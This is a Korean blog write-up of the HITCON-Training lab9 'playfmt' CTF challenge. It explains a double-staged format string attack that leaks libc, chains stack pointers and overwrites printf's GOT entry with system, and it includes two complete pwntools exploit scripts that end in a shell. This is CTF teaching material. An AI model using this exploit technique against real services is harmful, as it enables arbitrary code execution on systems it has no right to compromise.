상세 컨텐츠

본문 제목

[HITCON-Training] lab9 playfmt (Double Staged FSB)

SYSTEM HACKING/CTF, etc

by koharin 2020. 5. 4. 18:13

본문

728x90
반응형

# Process

 

 

bss 영역에 존재하는 크기가 0xc8인 전역변수에 read로 입력받는다.

그리고 printf(buf); 를 하는데 이때 FSB 취약점이 발생한다.

버퍼가 전역변수일 때 FSB 취약점이 발생하는 경우 Double Staged FSB 기법을 사용한다.

 

1. libc leak

 

스택 확인해보면 __libc_start_main+247 주소를 확인해볼 수 있다.

offset을 계산해서 leak하고 libc base를 구한다.

 

 

2. 스택 영역 가리키는 주소의 값이 또 스택 영역 가리키는 부분 2개 찾기

 

- got와 got+2로 각각 나눠서 덮어줘야 하므로 2개 찾는다.

- 메모리의 높은 주소 방향으로 스택 값들을 꺼내온다.

따라서 스택 포인터는 이 포인터 주소보다 더 높은 주소 값을 가리켜야 한다.

- 포인터와 포인터가 가리키는 주소의 상대거리가 같아야 한다. (offset 계산해야 하므로)

 

 

스택 확인해보면 0xff904bf8 값 가지는 주소와 0xff904c24 주소를 스택 포인터로 사용한다.

이 두 주소의 스택 값들을 0x804로 시작하는 스택 주소 2개의 하위 2바이트로 각각 덮을 것이다.

 

3. 0x804로 시작하는 영역의 주소 2개 찾기

 

 

0x8048645 주소 값 가지는 주소인 0xff992140과 0x080485b1 값 가지는 주소 값 선택한다.

 

 

4. 2에서 구한 주소의 값을 3에서 구한 주소 값의 하위 2바이트로 각각 덮는다.

 

 

덮고 나면 위와 같은 구조가 된다.

 

5. offset을 계산해서 0x804로 시작하는 주소들을 printf got와 printf got +2로 각각 덮는다.

 

 

 

(위는 덮은 후의 사진이었음)

각 주소 값들이 printf got인 0x804a010과 printf got +2인 0x804a012로 각각 덮인 것을 확인할 수 있다.

 

 

 

0x804a012의 하위 2바이트는 0xf7d7, 즉 함수 주소의 상위 2바이트이므로 system의 상위 2바이트로 덮고,

0x804a010의 하위 2바이트는 0x5670, 즉 함수 주소의 하위 2바이트이므로 system의 하위 2바이트로 덮는다.

 

주의해야 할 점이 상위 2바이트를 덮을 때 그냥 '%??$hn'으로 덮으려고 하면 

 

 

이렇게 0xf7이 잘린다. 따라서 '%??$hhn'으로 줘서 문제를 해결할 수 있다.

 

 

6. 쉘 실행

 

 

이 과정을 거치고 나면 쉘을 딸 수 있다.


# exploit code

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
p = process("./playfmt")
elf = ELF("./playfmt")
libc = elf.libc 
printf_got = elf.got['printf']

# libc leak
p.recvuntil("Server\n")
p.sendafter("=\n", '%15$x %6$x A')
leak = int(p.recv(8), 16) # libc_start_main+247
libcbase = leak - libc.symbols['__libc_start_main'] - 247
log.info("leak : "+hex(leak))
log.info("libcbase : "+hex(libcbase))
p.recvuntil(" ")
leak2 = int(p.recv(8), 16)
log.info("leak2 : "+hex(leak2))
stack = leak2 - 0x24
log.info("stack : "+hex(stack))

#gdb.attach(p)

pay = '%{}x'.format((stack+0x28) & 0xFFFF)
pay += '%6$hn'
pay += 'A'
p.sendafter("A", pay)

pay = '%{}x'.format((stack+0xc) & 0xFFFF)
pay += '%21$hn'
pay += 'A'
p.sendafter("A", pay)

pay = '%{}x'.format(printf_got & 0xFFFF)
pay += '%57$hn'
pay += 'A'
p.sendafter("A", pay)

pay = '%{}x'.format((printf_got+2) & 0xFFFF)
pay += '%10$hn'
pay += 'A'
p.sendafter("A", pay)

system = libcbase + libc.symbols['system']
system_low = system & 0xFFFF
system_high = (system >> 16) & 0xFF
pay = '%{}x'.format(system_high)
pay += '%11$hhn'
pay += '%{}x'.format(system_low - system_high)
pay += '%4$hn'
pay += 'A'
p.sendafter("A", pay)

p.interactive()

# 추가

 

그냥 system만 덮고 system 함수의 인자로 id랑 ls를 줘서 결과를 확인했었는데,

이 방법이 쉘을 딴거는 아니고 정확하게는 system 함수 인자인 buf로 /bin/sh를 줘서 쉘을 따는 것이다.

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
p = process("./playfmt")
elf = ELF("./playfmt")
libc = elf.libc 
printf_got = elf.got['printf']

# libc leak
p.recvuntil("Server\n")
p.sendafter("=\n", '%15$x %6$x A')
leak = int(p.recv(8), 16) # libc_start_main+247
libcbase = leak - libc.symbols['__libc_start_main'] - 247
log.info("leak : "+hex(leak))
log.info("libcbase : "+hex(libcbase))
p.recvuntil(" ")
leak2 = int(p.recv(8), 16)
log.info("leak2 : "+hex(leak2))
stack = leak2 - 0x24
log.info("stack : "+hex(stack))

#gdb.attach(p)

pay = '%{}x'.format((stack+0x28) & 0xFFFF)
pay += '%6$hn'
pay += 'A'
p.sendafter("A", pay)

pay = '%{}x'.format((stack+0xc) & 0xFFFF)
pay += '%21$hn'
pay += 'A'
p.sendafter("A", pay)

pay = '%{}x'.format(printf_got & 0xFFFF)
pay += '%57$hn'
pay += 'A'
p.sendafter("A", pay)

pay = '%{}x'.format((printf_got+2) & 0xFFFF)
pay += '%10$hn'
pay += 'A'
p.sendafter("A", pay)

system = libcbase + libc.symbols['system']
system_low = system & 0xFFFF
system_high = (system >> 16) & 0xFF
pay = '%{}x'.format(system_high)
pay += '%11$hhn'
pay += '%{}x'.format(system_low - system_high)
pay += '%4$hn'
pay += 'A'
p.sendafter("A", pay)

p.sendline('/bin/sh')

p.interactive()
728x90
반응형

관련글 더보기